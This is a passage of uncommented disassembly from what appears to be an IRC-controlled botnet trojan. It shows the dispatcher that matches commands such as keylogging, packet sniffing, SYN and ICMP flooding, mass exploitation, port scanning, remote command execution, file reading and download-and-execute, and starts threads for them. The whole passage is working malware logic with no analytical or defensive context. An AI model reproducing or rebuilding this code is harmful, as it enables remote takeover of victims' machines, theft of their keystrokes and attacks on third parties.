cmp [ebp-8], ebx
jnz short loc_40E4AB
push ebx
push dword ptr [ebp-4]
push offset aLoginList ; "-[Login List]-"
push dword ptr [ebp-8Ch]
push dword ptr [ebp+0Ch]
call sub_412D32
add esp, 14h
loc_40E4AB: ; CODE XREF: seg000:0040E48Fj
mov edi, [ebp+20h]
xor esi, esi
loc_40E4B0: ; CODE XREF: seg000:0040E4F6j
cmp [edi], bl
lea eax, [edi+1]
jnz short loc_40E4BC
mov eax, offset aEmpty ; "<Empty>"
loc_40E4BC: ; CODE XREF: seg000:0040E4B5j
push eax
push esi
lea eax, [ebp-2C8h]
push offset aD_S ; "%d. %s"
push eax
call sub_4154CD
push 1
lea eax, [ebp-2C8h]
push dword ptr [ebp-4]
push eax
push dword ptr [ebp-8Ch]
push dword ptr [ebp+0Ch]
call sub_412D32
add esp, 24h
inc esi
add edi, 80h
cmp esi, 2
jl short loc_40E4B0
push offset dword_435C48
loc_40E4FD: ; CODE XREF: seg000:004124C3j
call sub_40B151
pop ecx
jmp loc_412974
; ---------------------------------------------------------------------------
loc_40E508: ; CODE XREF: seg000:0040E48Aj
push edi
push offset aBox_getclip ; "box.getclip"
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jz loc_411F9D
push edi
push offset aBox_gc ; "box.gc"
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jz loc_411F9D
push edi
push offset aUtil_flusharp ; "util.flusharp"
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jz loc_411F72
push edi
push offset aUtil_farp ; "util.farp"
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jz loc_411F72
push edi
push offset aUtil_flushdns ; "util.flushdns"
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jz loc_411F4E
push edi
push offset aUtil_fdns ; "util.fdns"
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jz loc_411F4E
push edi
push offset aVuln_currentip ; "vuln.currentip"
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jz loc_411F11
push edi
push offset aVuln_cip ; "vuln.cip"
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jz loc_411F11
push edi
push offset aServer_httpd_o ; "server.httpd.on"
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jz loc_411D77
push edi
push offset aServer_web_on ; "server.web.on"
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jz loc_411D77
push edi
push offset aServer_tftp_on ; "server.tftp.on"
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jz loc_411C39
push edi
push offset aServer_tf_on ; "server.tf.on"
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jz loc_411C39
push edi
push offset aVuln_massexplo ; "vuln.massexploit"
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jz loc_41193A
push edi
push offset aVall ; "vall"
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jz loc_41193A
mov edi, [ebp+esi-90h]
cmp edi, ebx
jz loc_40D1FD
push dword ptr [ebp+10h]
push offset aEnz_nick ; "enz.nick"
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jz loc_411921
push dword ptr [ebp+10h]
push offset aEnz_n ; "enz.n"
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jz loc_411921
push dword ptr [ebp+10h]
push offset aEnz_join ; "enz.join"
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jz loc_411901
push dword ptr [ebp+10h]
push offset aEnz_j ; "enz.j"
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jz loc_411901
push dword ptr [ebp+10h]
push offset aEnz_part ; "enz.part"
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jz loc_4118E8
push dword ptr [ebp+10h]
push offset aEnz_pt ; "enz.pt"
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jz loc_4118E8
push dword ptr [ebp+10h]
push offset aEnz_raw ; "enz.raw"
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jz loc_4118B1
push dword ptr [ebp+10h]
push offset aEnz_r ; "enz.r"
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jz loc_4118B1
push dword ptr [ebp+10h]
push offset aThreads_kill ; "threads.kill"
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jz loc_4117EE
push dword ptr [ebp+10h]
push offset aThreads_k ; "threads.k"
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jz loc_4117EE
push dword ptr [ebp+10h]
push offset aClone_quit ; "clone.quit"
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jz loc_411743
push dword ptr [ebp+10h]
push offset aClone_q ; "clone.q"
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jz loc_411743
push dword ptr [ebp+10h]
push offset aClone_rndnick ; "clone.rndnick"
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jz loc_4116F8
push dword ptr [ebp+10h]
push offset aClone_rn ; "clone.rn"
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jz loc_4116F8
push dword ptr [ebp+10h]
push offset aEnz_prefix ; "enz.prefix"
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jz loc_4116E3
push dword ptr [ebp+10h]
push offset aEnz_pr ; "enz.pr"
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jz loc_4116E3
push dword ptr [ebp+10h]
push offset aBox_open ; "box.open"
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jz loc_4116B9
push dword ptr [ebp+10h]
push offset aBox_o ; "box.o"
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jz loc_4116B9
push dword ptr [ebp+10h]
push offset aEnz_setserve ; "enz.setserve"
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jz loc_411694
push dword ptr [ebp+10h]
push offset aEnz_se ; "enz.se"
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jz loc_411694
push dword ptr [ebp+10h]
push offset aEnz_dns ; "enz.dns"
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jz loc_411632
push dword ptr [ebp+10h]
push offset aEnz_dn ; "enz.dn"
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jz loc_411632
push dword ptr [ebp+10h]
push offset aBox_killprocna ; "box.killprocname"
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jz loc_411606
push dword ptr [ebp+10h]
push offset aBox_kpn ; "box.kpn"
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jz loc_411606
push dword ptr [ebp+10h]
push offset aBox_prockillid ; "box.prockillid"
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jz loc_4115AB
push dword ptr [ebp+10h]
push offset aBox_pkid ; "box.pkid"
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jz loc_4115AB
push dword ptr [ebp+10h]
push offset aBox_delete ; "box.delete"
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jz loc_411574
push dword ptr [ebp+10h]
push offset aBox_del ; "box.del"
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jz loc_411574
push dword ptr [ebp+10h]
push offset aDcc_get ; "dcc.get"
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jz loc_411493
push dword ptr [ebp+10h]
push offset aDcc_gt ; "dcc.gt"
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jz loc_411493
push dword ptr [ebp+10h]
push offset aBox_filelist ; "box.filelist"
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jz loc_411478
push dword ptr [ebp+10h]
push offset aBox_fl ; "box.fl"
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jz loc_411478
push dword ptr [ebp+10h]
push offset aEnz_visit ; "enz.visit"
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jz loc_41139A
push dword ptr [ebp+10h]
push offset aEnz_v ; "enz.v"
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jz loc_41139A
push dword ptr [ebp+10h]
push offset aMirc_cmd ; "mirc.cmd"
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jz loc_41135F
push dword ptr [ebp+10h]
push offset aMirc_cmd ; "mirc.cmd"
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jz loc_41135F
push dword ptr [ebp+10h]
push offset aBox_cmd ; "box.cmd"
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jz loc_411314
push dword ptr [ebp+10h]
push offset aBox_cm ; "box.cm"
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jz loc_411314
push dword ptr [ebp+10h]
push offset aBox_readfile ; "box.readfile"
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jz loc_41128F
push dword ptr [ebp+10h]
push offset aBox_rf ; "box.rf"
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jz loc_41128F
push dword ptr [ebp+10h]
push offset aSniff ; "sniff"
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jnz loc_40EB1F
push edi
push offset aOn ; "on"
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jnz loc_40EAEA
push 18h
call sub_4151C1
test eax, eax
pop ecx
jle short loc_40EA17
push offset unk_4359A0
jmp loc_40EB8B
; ---------------------------------------------------------------------------
loc_40EA17: ; CODE XREF: seg000:0040EA0Bj
mov eax, [ebp+0Ch]
mov esi, [ebp+esi-8Ch]
mov [ebp-4DCh], eax
mov eax, [ebp-4]
mov [ebp-454h], eax
mov eax, [ebp-8]
cmp esi, ebx
mov [ebp-450h], eax
jnz short loc_40EA59
mov esi, offset aSs_0 ; "#ss"
push offset byte_438F9C
push esi
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jnz short loc_40EA59
mov esi, [ebp-8Ch]
loc_40EA59: ; CODE XREF: seg000:0040EA3Bj
; seg000:0040EA51j
push esi
lea eax, [ebp-4D8h]
push 80h
push eax
call sub_415A4A
lea eax, [ebp-2C8h]
push offset unk_43595C
push eax
call sub_4154CD
push ebx
lea eax, [ebp-2C8h]
push 18h
push eax
call sub_414F79
add esp, 20h
mov [ebp-458h], eax
lea eax, [ebp-10h]
push eax
lea eax, [ebp-4DCh]
push ebx
push eax
push 4024DCh
push ebx
push ebx
call ds:dword_42108C ; CreateThread
mov ecx, [ebp-458h]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_43F51C[ecx], eax
jz short loc_40EAD9
loc_40EAC3: ; CODE XREF: seg000:0040EAD7j
cmp [ebp-44Ch], ebx
jnz loc_40ECA7
push 32h
call ds:dword_421060 ; Sleep
jmp short loc_40EAC3
; ---------------------------------------------------------------------------
loc_40EAD9: ; CODE XREF: seg000:0040EAC1j
call ds:dword_421088 ; RtlGetLastWin32Error
push eax
push offset unk_43590C
jmp loc_40EC98
; ---------------------------------------------------------------------------
loc_40EAEA: ; CODE XREF: seg000:0040E9FBj
push edi
push offset aOff ; "off"
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jnz loc_40ECA7
push ebx
push 18h
call sub_415174
pop ecx
cmp eax, ebx
pop ecx
jle short loc_40EB18
push eax
push offset unk_4358BC
jmp loc_40EC98
; ---------------------------------------------------------------------------
loc_40EB18: ; CODE XREF: seg000:0040EB0Bj
push offset unk_435880
jmp short loc_40EB8B
; ---------------------------------------------------------------------------
loc_40EB1F: ; CODE XREF: seg000:0040E9E6j
push dword ptr [ebp+10h]
push offset aBox_keylog ; "box.keylog"
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jnz loc_40ECD1
push edi
push offset aOn ; "on"
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jz short loc_40EB9E
push edi
push offset aFile ; "file"
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jz short loc_40EB9E
push edi
push offset aOff ; "off"
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jnz loc_40ECA7
push ebx
push 1Ah
call sub_415174
pop ecx
cmp eax, ebx
pop ecx
jle short loc_40EB86
push eax
push offset unk_435824
jmp loc_40EC98
; ---------------------------------------------------------------------------
loc_40EB86: ; CODE XREF: seg000:0040EB79j
push offset unk_4357E4
loc_40EB8B: ; CODE XREF: seg000:0040EA12j
; seg000:0040EB1Dj ...
lea eax, [ebp-2C8h]
push eax
call sub_4154CD
pop ecx
pop ecx
jmp loc_40ECA7
; ---------------------------------------------------------------------------
loc_40EB9E: ; CODE XREF: seg000:0040EB45j
; seg000:0040EB56j
push 1Ah
call sub_4151C1
test eax, eax
pop ecx
jle short loc_40EBB1
push offset unk_4357B0
jmp short loc_40EB8B
; ---------------------------------------------------------------------------
loc_40EBB1: ; CODE XREF: seg000:0040EBA8j
mov eax, [ebp+0Ch]
push edi
mov [ebp-4DCh], eax
mov eax, [ebp-4]
push offset aFile ; "file"
mov [ebp-454h], eax
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jnz short loc_40EBE0
mov dword ptr [ebp-450h], 1
jmp short loc_40EBE9
; ---------------------------------------------------------------------------
loc_40EBE0: ; CODE XREF: seg000:0040EBD2j
mov eax, [ebp-8]
mov [ebp-450h], eax
loc_40EBE9: ; CODE XREF: seg000:0040EBDEj
mov esi, [ebp+esi-8Ch]
cmp esi, ebx
jnz short loc_40EC10
mov esi, offset aSs ; "#ss"
push offset byte_438F9C
push esi
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jnz short loc_40EC10
mov esi, [ebp-8Ch]
loc_40EC10: ; CODE XREF: seg000:0040EBF2j
; seg000:0040EC08j
push esi
lea eax, [ebp-4D4h]
push 80h
push eax
call sub_415A4A
lea eax, [ebp-2C8h]
push offset unk_43577C
push eax
call sub_4154CD
push ebx
lea eax, [ebp-2C8h]
push 1Ah
push eax
call sub_414F79
add esp, 20h
mov [ebp-4D8h], eax
lea eax, [ebp-10h]
push eax
lea eax, [ebp-4DCh]
push ebx
push eax
push offset loc_4021FB
push ebx
push ebx
call ds:dword_42108C ; CreateThread
mov ecx, [ebp-4D8h]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_43F51C[ecx], eax
jz short loc_40EC8C
loc_40EC7A: ; CODE XREF: seg000:0040EC8Aj
cmp [ebp-44Ch], ebx
jnz short loc_40ECA7
push 32h
call ds:dword_421060 ; Sleep
jmp short loc_40EC7A
; ---------------------------------------------------------------------------
loc_40EC8C: ; CODE XREF: seg000:0040EC78j
call ds:dword_421088 ; RtlGetLastWin32Error
push eax
push offset unk_43572C
loc_40EC98: ; CODE XREF: seg000:0040EAE5j
; seg000:0040EB13j ...
lea eax, [ebp-2C8h]
push eax
call sub_4154CD
add esp, 0Ch
loc_40ECA7: ; CODE XREF: seg000:0040EAC9j
; seg000:0040EAF9j ...
cmp [ebp-8], ebx
jnz loc_40D7DD
push ebx
lea eax, [ebp-2C8h]
push dword ptr [ebp-4]
push eax
push dword ptr [ebp-8Ch]
push dword ptr [ebp+0Ch]
call sub_412D32
add esp, 14h
jmp loc_40D7DD
; ---------------------------------------------------------------------------
loc_40ECD1: ; CODE XREF: seg000:0040EB30j
push dword ptr [ebp+10h]
push offset aBox_net ; "box.net"
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jnz loc_40EFA2
cmp ds:dword_43A448, ebx
jz short loc_40ED02
cmp ds:dword_43A470, ebx
jz short loc_40ED02
push offset dword_4356D8
jmp loc_40EF5C
; ---------------------------------------------------------------------------
loc_40ED02: ; CODE XREF: seg000:0040ECEEj
; seg000:0040ECF6j
cmp [ebp-0Ch], ebx
jz loc_40EF6A
mov eax, [ebp+esi-8Ch]
mov [ebp+8], ebx
cmp eax, ebx
mov [ebp+20h], eax
jz short loc_40ED2A
push eax
push dword ptr [ebp-0Ch]
call sub_415AA0
pop ecx
mov [ebp+8], eax
pop ecx
loc_40ED2A: ; CODE XREF: seg000:0040ED1Aj
push edi
push offset aStart ; "start"
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jnz short loc_40ED90
cmp [ebp+20h], ebx
jz short loc_40ED64
push dword ptr [ebp+8]
push 3
loc_40ED45: ; CODE XREF: seg000:0040EDA6j
; seg000:0040EDBEj ...
call sub_412DCD
push eax
lea eax, [ebp-2C8h]
push offset aS_1 ; "%s"
push eax
call sub_4154CD
add esp, 14h
jmp loc_40EF6A
; ---------------------------------------------------------------------------
loc_40ED64: ; CODE XREF: seg000:0040ED3Ej
push dword ptr [ebp-4]
push dword ptr [ebp-8Ch]
push dword ptr [ebp+0Ch]
call sub_413074
add esp, 0Ch
test eax, eax
jz short loc_40ED86
push offset dword_4356A0
jmp loc_40EF5C
; ---------------------------------------------------------------------------
loc_40ED86: ; CODE XREF: seg000:0040ED7Aj
push offset dword_43566C
jmp loc_40EF5C
; ---------------------------------------------------------------------------
loc_40ED90: ; CODE XREF: seg000:0040ED39j
push edi
push offset aStop ; "stop"
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jnz short loc_40EDA8
push dword ptr [ebp+8]
push 4
jmp short loc_40ED45
; ---------------------------------------------------------------------------
loc_40EDA8: ; CODE XREF: seg000:0040ED9Fj
push edi
push offset aPause ; "pause"
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jnz short loc_40EDC0
push dword ptr [ebp+8]
push 5
jmp short loc_40ED45
; ---------------------------------------------------------------------------
loc_40EDC0: ; CODE XREF: seg000:0040EDB7j
push edi
push offset aContinue ; "continue"
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jnz short loc_40EDDB
push dword ptr [ebp+8]
push 6
jmp loc_40ED45
; ---------------------------------------------------------------------------
loc_40EDDB: ; CODE XREF: seg000:0040EDCFj
push edi
push offset aDelete ; "delete"
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jnz short loc_40EDF6
push dword ptr [ebp+8]
push 1
jmp loc_40ED45
; ---------------------------------------------------------------------------
loc_40EDF6: ; CODE XREF: seg000:0040EDEAj
push edi
push offset aShare ; "share"
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jnz short loc_40EE73
cmp [ebp+20h], ebx
jz short loc_40EE46
cmp [ebp-9B0h], bl
jz short loc_40EE1C
push ebx
push dword ptr [ebp+20h]
push 1
jmp short loc_40EE27
; ---------------------------------------------------------------------------
loc_40EE1C: ; CODE XREF: seg000:0040EE12j
push dword ptr [ebp+esi-88h]
push dword ptr [ebp+20h]
push ebx
loc_40EE27: ; CODE XREF: seg000:0040EE1Aj
call sub_4131B1
push eax
lea eax, [ebp-2C8h]
push offset aS_1 ; "%s"
push eax
call sub_4154CD
add esp, 18h
jmp loc_40EF6A
; ---------------------------------------------------------------------------
loc_40EE46: ; CODE XREF: seg000:0040EE0Aj
push ebx
push dword ptr [ebp-4]
push dword ptr [ebp-8Ch]
push dword ptr [ebp+0Ch]
call sub_4133A6
add esp, 10h
test eax, eax
jz short loc_40EE69
push offset dword_435618
jmp loc_40EF5C
; ---------------------------------------------------------------------------
loc_40EE69: ; CODE XREF: seg000:0040EE5Dj
push offset dword_4355E4
jmp loc_40EF5C
; ---------------------------------------------------------------------------
loc_40EE73: ; CODE XREF: seg000:0040EE05j
push edi
push offset aUser ; "user"
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jnz loc_40EF0F
mov eax, [ebp+20h]
cmp eax, ebx
jz short loc_40EEE8
cmp [ebp-9B0h], bl
jz short loc_40EEA9
push dword ptr [ebp-4]
push dword ptr [ebp-8Ch]
push dword ptr [ebp+0Ch]
push ebx
push eax
push 1
jmp short loc_40EEC9
; ---------------------------------------------------------------------------
loc_40EEA9: ; CODE XREF: seg000:0040EE95j
push dword ptr [ebp-4]
mov esi, [ebp+esi-88h]
cmp esi, ebx
push dword ptr [ebp-8Ch]
push dword ptr [ebp+0Ch]
jz short loc_40EEC5
push esi
push eax
push ebx
jmp short loc_40EEC9
; ---------------------------------------------------------------------------
loc_40EEC5: ; CODE XREF: seg000:0040EEBEj
push ebx
push eax
push 2
loc_40EEC9: ; CODE XREF: seg000:0040EEA7j
; seg000:0040EEC3j
call sub_4134C7
push eax
lea eax, [ebp-2C8h]
push offset aS_1 ; "%s"
push eax
call sub_4154CD
add esp, 24h
jmp loc_40EF6A
; ---------------------------------------------------------------------------
loc_40EEE8: ; CODE XREF: seg000:0040EE8Dj
push ebx
push dword ptr [ebp-4]
push dword ptr [ebp-8Ch]
push dword ptr [ebp+0Ch]
call sub_4139DB
add esp, 10h
test eax, eax
jz short loc_40EF08
push offset dword_4355A8
jmp short loc_40EF5C
; ---------------------------------------------------------------------------
loc_40EF08: ; CODE XREF: seg000:0040EEFFj
push offset dword_435578
jmp short loc_40EF5C
; ---------------------------------------------------------------------------
loc_40EF0F: ; CODE XREF: seg000:0040EE82j
push edi
push offset aSend ; "send"
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jnz short loc_40EF57
cmp [ebp+20h], ebx
jz short loc_40EF50
push dword ptr [ebp-4]
push dword ptr [ebp-8Ch]
push dword ptr [ebp+0Ch]
push dword ptr [ebp+8]
call sub_413C8F
push eax
lea eax, [ebp-2C8h]
push offset aS_1 ; "%s"
push eax
call sub_4154CD
add esp, 1Ch
jmp short loc_40EF6A
; ---------------------------------------------------------------------------
loc_40EF50: ; CODE XREF: seg000:0040EF23j
push offset dword_435544
jmp short loc_40EF5C
; ---------------------------------------------------------------------------
loc_40EF57: ; CODE XREF: seg000:0040EF1Ej
push offset dword_435514
loc_40EF5C: ; CODE XREF: seg000:0040ECFDj
; seg000:0040ED81j ...
lea eax, [ebp-2C8h]
push eax
call sub_4154CD
pop ecx
pop ecx
loc_40EF6A: ; CODE XREF: seg000:0040ED05j
; seg000:0040ED5Fj ...
cmp [ebp-8], ebx
jnz short loc_40EF8B
push ebx
lea eax, [ebp-2C8h]
push dword ptr [ebp-4]
push eax
push dword ptr [ebp-8Ch]
push dword ptr [ebp+0Ch]
call sub_412D32
add esp, 14h
loc_40EF8B: ; CODE XREF: seg000:0040EF6Dj
; seg000:00411304j ...
mov esi, [ebp+2Ch]
loc_40EF8E: ; CODE XREF: seg000:0040D7E0j
; seg000:004115DFj ...
lea eax, [ebp-2C8h]
push eax
call sub_40B151
pop ecx
mov eax, esi
jmp loc_40D200
; ---------------------------------------------------------------------------
loc_40EFA2: ; CODE XREF: seg000:0040ECE2j
push dword ptr [ebp+10h]
push offset aEnz_gethost ; "enz.gethost"
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jz loc_4111AB
push dword ptr [ebp+10h]
push offset aEnz_gh ; "enz.gh"
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jz loc_4111AB
mov eax, [ebp+esi-8Ch]
cmp eax, ebx
mov [ebp+20h], eax
jz loc_40D1FD
push dword ptr [ebp+10h]
push offset aEnz_addalias ; "enz.addalias"
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jz loc_41116C
push dword ptr [ebp+10h]
push offset aEnz_aa ; "enz.aa"
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jz loc_41116C
push dword ptr [ebp+10h]
push offset aEnz_privmsg ; "enz.privmsg"
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jz loc_411119
push dword ptr [ebp+10h]
push offset aEnz_pm ; "enz.pm"
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jz loc_411119
push dword ptr [ebp+10h]
push offset aEnz_action ; "enz.action"
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jz loc_4110AB
push dword ptr [ebp+10h]
push offset aEnz_ac ; "enz.ac"
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jz loc_4110AB
push dword ptr [ebp+10h]
push offset aEnz_cycle ; "enz.cycle"
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jz loc_411048
push dword ptr [ebp+10h]
push offset aEnz_cy ; "enz.cy"
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jz loc_411048
push dword ptr [ebp+10h]
push offset aEnz_mode ; "enz.mode"
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jz loc_411009
push dword ptr [ebp+10h]
push offset aEnz_m ; "enz.m"
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jz loc_411009
push dword ptr [ebp+10h]
push offset aClone_raw ; "clone.raw"
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jz loc_410F9E
push dword ptr [ebp+10h]
push offset aClone_ra ; "clone.ra"
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jz loc_410F9E
push dword ptr [ebp+10h]
push offset aClone_mode ; "clone.mode"
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jz loc_410F1C
push dword ptr [ebp+10h]
push offset aClone_m ; "clone.m"
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jz loc_410F1C
push dword ptr [ebp+10h]
push offset aClone_nick ; "clone.nick"
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jz loc_410EAB
push dword ptr [ebp+10h]
push offset aClone_ni ; "clone.ni"
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jz loc_410EAB
push dword ptr [ebp+10h]
push offset aClone_join ; "clone.join"
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jz loc_410E85
push dword ptr [ebp+10h]
push offset aClone_j ; "clone.j"
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jz loc_410E85
push dword ptr [ebp+10h]
push offset aClone_part ; "clone.part"
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jz loc_410E22
push dword ptr [ebp+10h]
push offset aClone_p ; "clone.p"
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jz loc_410E22
push dword ptr [ebp+10h]
push offset aEnz_repeat ; "enz.repeat"
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jz loc_410D5C
push dword ptr [ebp+10h]
push offset aEnz_rp ; "enz.rp"
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jz loc_410D5C
push dword ptr [ebp+10h]
push offset aEnz_delay ; "enz.delay"
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jz loc_410CC1
push dword ptr [ebp+10h]
push offset aEnz_de ; "enz.de"
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jz loc_410CC1
push dword ptr [ebp+10h]
push offset aDownload_up010 ; "download.up010"
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jz loc_410B43
push dword ptr [ebp+10h]
push offset aDownload_010 ; "download.010"
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jz loc_410B43
push dword ptr [ebp+10h]
push offset aBox_execute ; "box.execute"
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jz loc_410AA2
push dword ptr [ebp+10h]
push offset aBox_e ; "box.e"
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jz loc_410AA2
push dword ptr [ebp+10h]
push offset aBox_findfile ; "box.findfile"
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jz loc_4109A4
push dword ptr [ebp+10h]
push offset aBox_ff ; "box.ff"
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jz loc_4109A4
push dword ptr [ebp+10h]
push offset aBox_rename ; "box.rename"
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jz loc_410953
push dword ptr [ebp+10h]
push offset aBox_mv ; "box.mv"
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jz loc_410953
push dword ptr [ebp+10h]
push offset aDdos_icmp ; "ddos.icmp"
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jz loc_410858
push dword ptr [ebp+10h]
push offset aDdos_ic ; "ddos.ic"
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jz loc_410858
mov eax, [ebp+esi-88h]
cmp eax, ebx
mov [ebp+8], eax
jz loc_40D1FD
push dword ptr [ebp+10h]
push offset aClone_make ; "clone.make"
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jz loc_41076D
push dword ptr [ebp+10h]
push offset aClone_start ; "clone.start"
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jz loc_41076D
push dword ptr [ebp+10h]
push offset aDs_sy1 ; "ds.sy1"
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jz loc_410668
push dword ptr [ebp+10h]
push offset aDs_ack ; "ds.ack"
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jz loc_410668
push dword ptr [ebp+10h]
push offset aDs_rm ; "ds.rm"
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jz loc_410668
push dword ptr [ebp+10h]
push offset aDdos_synflood ; "ddos.synflood"
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jz loc_41056A
push dword ptr [ebp+10h]
push offset aSy1 ; "sy1"
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jz loc_41056A
push dword ptr [ebp+10h]
push offset aDonad_frwww ; "donad.frwww"
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jz loc_41042C
push dword ptr [ebp+10h]
push offset aD1 ; "d1"
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jz loc_41042C
push dword ptr [ebp+10h]
push offset aServer_redir_0 ; "server.redirect.on"
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jz loc_410332
push dword ptr [ebp+10h]
push offset aServer_rd_on ; "server.rd.on"
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jz loc_410332
push dword ptr [ebp+10h]
push offset aEnz_portscan ; "enz.portscan"
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jz loc_41023F
push dword ptr [ebp+10h]
push offset aEnz_ps ; "enz.ps"
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jz loc_41023F
push dword ptr [ebp+10h]
push offset aClone_privmsg ; "clone.privmsg"
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jz loc_41016A
push dword ptr [ebp+10h]
push offset aClone_pm ; "clone.pm"
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jz loc_41016A
push dword ptr [ebp+10h]
push offset aClone_action ; "clone.action"
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jz loc_410055
push dword ptr [ebp+10h]
push offset aClone_ac ; "clone.ac"
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jz loc_410055
mov eax, [ebp+esi-84h]
cmp eax, ebx
mov [ebp+18h], eax
jz loc_40D1FD
push dword ptr [ebp+10h]
push offset aVuln_start ; "vuln.start"
